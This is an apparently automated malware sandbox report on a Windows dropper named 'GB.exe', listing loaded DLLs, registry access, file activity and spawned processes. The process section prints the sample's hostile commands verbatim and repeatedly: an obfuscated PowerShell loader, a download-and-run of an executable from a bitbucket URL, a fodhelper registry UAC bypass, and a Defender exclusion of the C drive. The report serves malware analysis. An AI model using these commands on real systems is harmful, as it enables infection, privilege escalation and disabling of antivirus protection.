GMTAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GETAccess-Control-Max-Age: 3000x-amz-replication-status:" (Indicator: "text/javascript"; Source: "00000000-00002648-00000C97-71928133") Found string "HTTP/1.1 200 OKContent-Type: text/javascriptTransfer-Encoding: chunkedConnection: keep-aliveDate: Wed, 20 Dec 2023 06:57:27 GMTAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GETAccess-Control-Max-Age: 3000x-amz-replication-status:" (Indicator: "text/javascript"; Source: "00000000-00002648-00000C97-76597602")42:Tf37,Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00001640-00000C25-47456615] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00001640-00000C25-47723536] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00001640-00000BC1-48086979] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002648-00000C25-51474075] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00002648-00000C25-51904534] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00002648-00000C25-52324771] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002648-00000C25-52446743] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00002648-00000C25-52561759] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00002648-00000C25-52651673] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00002648-00000C25-52707908] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00002648-00000C25-52762823] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00002648-00000C25-52871992] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00002648-00000C25-52905817] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00002648-00000C25-52987156] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00002648-00000C25-53394019] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00002648-00000C25-53596641] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002648-00000C25-54007371] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002648-00000C25-54007972] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00002648-00000C25-54093455] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00002648-00000C25-54610184] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00002648-00000C25-54654411] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00002648-00000C25-54702033] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00002648-00000C25-54718658] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002648-00000C25-54739793] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00002648-00000C25-55268795]43:Tef0,Spawned process "cmd.exe" with commandline "/c res.bat && test2.exe" (UID: 00000000-00002816) Spawned process "cmd.exe" with commandline "/S /D /c" echo f "" (UID: 00000000-00008072) Spawned process "xcopy.exe" with commandline "xcopy /s test2.exe "%TEMP%\\persistent2\\test2.exe"" (UID: 00000000-00008008) Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00002648, Additional Context: "function Get-DecompressedByteArray { [CmdletBinding()] Param ( [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)] [byte[]] $byteArray = $(Throw("-byteArray is required")) ) Process { Write-Verbose "Get-DecompressedByteArray" $input = New-Object System.IO.MemoryStream( , $byteArray ) $output = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $input ([IO.Compression.CompressionMode]::Decompress) $gzipStream.CopyTo( $output ) $gzipStream.Close() $input.Close() [byte[]] $byteOutArray = $output.ToArray() Write-Output $byteOutArray } } [byte[]] $byte_array = 31 139 8 0 0 0 0 0 4 0 149 144 193 114 130 48 20 69 127 41 96 109 199 133 11 5 146 9 35 177 2 125 9 111 103 66 7 171 129 46 68 77 248 250 70 186 239 76 119 111 113 231 158 243 174 233 97 224 140 94 48 217 242 138 8 80 84 220 113 40 23 141 202 173 202 196 181 81 98 66 37 204 174 95 141 24 185 250 200 224 170 169 123 55 12 110 138 137 187 150 209 73 247 135 110 23 31 186 156 20 175 138 66 200 231 147 202 104 86 127 216 125 165 94 92 184 31 38 43 79 45 163 166 102 171 115 35 157 1 6 163 161 238 241 204 30 149 32 40 151 164 176 142 4 22 41 190 150 246 147 125 12 60 89 245 60 29 61 74 211 53 178 188 240 164 253 211 81 171 98 52 49 144 150 217 27 46 132 57 44 192 67 15 62 247 155 59 38 155 97 254 193 155 224 218 116 123 191 237 117 92 126 163 124 58 240 27 170 147 221 71 130 132 78 178 3 113 69 9 15 158 68 19 79 139 55 51 111 84 90 205 128 96 181 25 170 108 76 1 92 173 99 36 109 76 61 130 75 53 163 83 96 79 42 89 134 77 90 51 51 207 191 238 24 54 67 85 218 255 250 207 29 221 122 253 3 4 178 253 174 164 1 0 0 $decompressedByteArray = Get-DecompressedByteArray -byteArray $byte_array [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(( [System.Text.Encoding]::UTF8.GetString( $decompressedByteArray ) | Out-String ))) | Invoke-Expression wget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe" Invoke-Expression -Command "$env:APPDATA\wsuscr.exe""), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\.omg\\Shell\\Open\\command /d %TEMP ..." (UID: 00000000-00006236), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\ms-settings\\CurVer /d .omg /f" (UID: 00000000-00007584), Spawned process "fodhelper.exe" (UID: 00000000-00004664), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\.omg\\ /f" (UID: 00000000-00001944), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\ms-settings\\ /f" (UID: 00000000-00002332), Spawned process "test2.exe" (UID: 00000000-00002540), Spawned process "cmd.exe" with commandline "cmd /c "test2.bat"" (UID: 00000000-00002596), Spawned process "net.exe" with commandline "net session" (UID: 00000000-00007140), Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00003496), Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00008124, Additional Context: "$pwd = "Add-MpPreference -ExclusionPath C:\" $pwd | Invoke-Expression")44:T60f,0 $decompressedByteArray = Get-DecompressedByteArray -byteArray $byte_array [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(( [System.Text.Encoding]::UTF8.GetString( $decompressedByteArray ) | Out-String ))) | Invoke-Expression wget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe" Invoke-Expression -Command "$env:APPDATA\wsuscr.exe""), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\.omg\\Shell\\Open\\command /d %TEMP ..." (UID: 00000000-00006236), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\ms-settings\\CurVer /d .omg /f" (UID: 00000000-00007584), Spawned process "fodhelper.exe" (UID: 00000000-00004664), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\.omg\\ /f" (UID: 00000000-00001944), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\ms-settings\\ /f" (UID: 00000000-00002332), Spawned process "test2.exe" (UID: 00000000-00002540), Spawned process "cmd.exe" with commandline "cmd /c "test2.bat"" (UID: 00000000-00002596), Spawned process "net.exe" with commandline "net session" (UID: 00000000-00007140), Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00003496), Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00008124, Additional Context: "$pwd = "Add-MpPreference -ExclusionPath C:\" $pwd | Invoke-Expression")45:Tef0,Spawned process "cmd.exe" with commandline "/c res.bat && test2.exe" (UID: 00000000-00002816) Spawned process "cmd.exe" with commandline "/S /D /c" echo f "" (UID: 00000000-00008072) Spawned process "xcopy.exe" with commandline "xcopy /s test2.exe "%TEMP%\\persistent2\\test2.exe"" (UID: 00000000-00008008) Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00002648, Additional Context: "function Get-DecompressedByteArray { [CmdletBinding()] Param ( [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)] [byte[]] $byteArray = $(Throw("-byteArray is required")) ) Process { Write-Verbose "Get-DecompressedByteArray" $input = New-Object System.IO.MemoryStream( , $byteArray ) $output = New-Object System.IO.MemoryStream $gzipStream = New-Object System.IO.Compression.GzipStream $input ([IO.Compression.CompressionMode]::Decompress) $gzipStream.CopyTo( $output ) $gzipStream.Close() $input.Close() [byte[]] $byteOutArray = $output.ToArray() Write-Output $byteOutArray } } [byte[]] $byte_array = 31 139 8 0 0 0 0 0 4 0 149 144 193 114 130 48 20 69 127 41 96 109 199 133 11 5 146 9 35 177 2 125 9 111 103 66 7 171 129 46 68 77 248 250 70 186 239 76 119 111 113 231 158 243 174 233 97 224 140 94 48 217 242 138 8 80 84 220 113 40 23 141 202 173 202 196 181 81 98 66 37 204 174 95 141 24 185 250 200 224 170 169 123 55 12 110 138 137 187 150 209 73 247 135 110 23 31 186 156 20 175 138 66 200 231 147 202 104 86 127 216 125 165 94 92 184 31 38 43 79 45 163 166 102 171 115 35 157 1 6 163 161 238 241 204 30 149 32 40 151 164 176 142 4 22 41 190 150 246 147 125 12 60 89 245 60 29 61 74 211 53 178 188 240 164 253 211 81 171 98 52 49 144 150 217 27 46 132 57 44 192 67 15 62 247 155 59 38 155 97 254 193 155 224 218 116 123 191 237 117 92 126 163 124 58 240 27 170 147 221 71 130 132 78 178 3 113 69 9 15 158 68 19 79 139 55 51 111 84 90 205 128 96 181 25 170 108 76 1 92 173 99 36 109 76 61 130 75 53 163 83 96 79 42 89 134 77 90 51 51 207 191 238 24 54 67 85 218 255 250 207 29 221 122 253 3 4 178 253 174 164 1 0 0 $decompressedByteArray = Get-DecompressedByteArray -byteArray $byte_array [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(( [System.Text.Encoding]::UTF8.GetString( $decompressedByteArray ) | Out-String ))) | Invoke-Expression wget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe" Invoke-Expression -Command "$env:APPDATA\wsuscr.exe""), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\.omg\\Shell\\Open\\command /d %TEMP ..." (UID: 00000000-00006236), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\ms-settings\\CurVer /d .omg /f" (UID: 00000000-00007584), Spawned process "fodhelper.exe" (UID: 00000000-00004664), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\.omg\\ /f" (UID: 00000000-00001944), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\ms-settings\\ /f" (UID: 00000000-00002332), Spawned process "test2.exe" (UID: 00000000-00002540), Spawned process "cmd.exe" with commandline "cmd /c "test2.bat"" (UID: 00000000-00002596), Spawned process "net.exe" with commandline "net session" (UID: 00000000-00007140), Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00003496), Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00008124, Additional Context: "$pwd = "Add-MpPreference -ExclusionPath C:\" $pwd | Invoke-Expression")46:T60f,0 $decompressedByteArray = Get-DecompressedByteArray -byteArray $byte_array [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(( [System.Text.Encoding]::UTF8.GetString( $decompressedByteArray ) | Out-String ))) | Invoke-Expression wget "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" -outfile "$env:APPDATA\wsuscr.exe" Invoke-Expression -Command "$env:APPDATA\wsuscr.exe""), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\.omg\\Shell\\Open\\command /d %TEMP ..." (UID: 00000000-00006236), Spawned process "reg.exe" with commandline "add HKCU\\Software\\Classes\\ms-settings\\CurVer /d .omg /f" (UID: 00000000-00007584), Spawned process "fodhelper.exe" (UID: 00000000-00004664), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\.omg\\ /f" (UID: 00000000-00001944), Spawned process "reg.exe" with commandline "delete HKCU\\Software\\Classes\\ms-settings\\ /f" (UID: 00000000-00002332), Spawned process "test2.exe" (UID: 00000000-00002540), Spawned process "cmd.exe" with commandline "cmd /c "test2.bat"" (UID: 00000000-00002596), Spawned process "net.exe" with commandline "net session" (UID: 00000000-00007140), Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 session" (UID: 00000000-00003496), Spawned process "powershell.exe" with commandline "powershell -Command "[System.Text.Encoding]::Unicode.GetString( ..." (UID: 00000000-00008124, Additional Context: "$pwd = "Add-MpPreference -ExclusionPath C:\" $pwd | Invoke-Expression")47:T6bf,"test2.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\IXP000.TMP\test2.exe]- [targetUID: 00000000-00002816] "res.bat" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\IXP000.TMP\res.bat]- [targetUID: 00000000-00002816] "test2.bat" has type "DOS batch file ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\IXP001.TMP\test2.bat]- [targetUID: 00000000-00002596] "aui-8_1_.js" has type "UTF-8 Unicode text with very long lines"- [targetUID: N/A] "app_1_.css" has type "UTF-8 Unicode text with very long lines"- [targetUID: N/A] "vendor-aui-8_1_.css" has type "UTF-8 Unicode text with very long lines"- [targetUID: N/A] "sentry_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "adg3_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "analytics_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "en_1_.js" has type "UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "adg3-skeleton-nav_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "djangojs_1_.js" has type "ASCII text"- [targetUID: N/A] "early_1_.js" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "app_1_.js" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002648] "test2.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\persistent2\test2.exe]- [targetUID: 00000000-00002816]48:T5ff,"GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "GB.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "")49:Tab1,"GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "GB"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "GB.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "")4a:T886,"powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\CatRoot" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\catroot2" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "powershell.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\app[1].css" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\vendor-aui-8[1].css" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\adg3-skeleton-nav[1].css" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\adg3[1].css" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\sentry[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\early[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\analytics[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\djangojs[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\en[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\aui-8[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\app[1].js" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "fodhelper.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache"4b:T9e9,"GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TEST2.EXE" "GB.exe" trying to access non-existent file "C:\Users\N0fImkl\AppData\Local\Temp\IXP000.TMP\test2.exe" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CMD.EXE" "GB.exe" trying to access non-existent file "C:\Users\N0fImkl\AppData\Local\Temp\IXP000.TMP\cmd.exe" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\CMD.EXE" "GB.exe" trying to access non-existent file "C:\cmd.exe" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\cmd.exe" "GB.exe" trying to access non-existent file "cmd.exe" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll"4c:T8d2,"GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\GB.EXE.LOCAL" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "GB.exe" trying to access non-existent file "C:\Users\N0fImkl\AppData\Local\Temp\IXP000.TMP" "GB.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RES.BAT" "GB.exe" trying to access non-existent file "C:\Users\N0fImkl\AppData\Local\Temp\IXP000.TMP\res.bat" "cmd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\AppLocker\MDM" "xcopy.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\PERSISTENT2" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\NativeImages_v4.0.30319_64\SYSTEM.NUMERICS" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.NUMERICS.INI" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\"4d:T188c,Pattern match: "https://bitbucket.org/olegovich-007/777/downloads/wsuscr.exe" Heuristic match: "bitbucket.org" 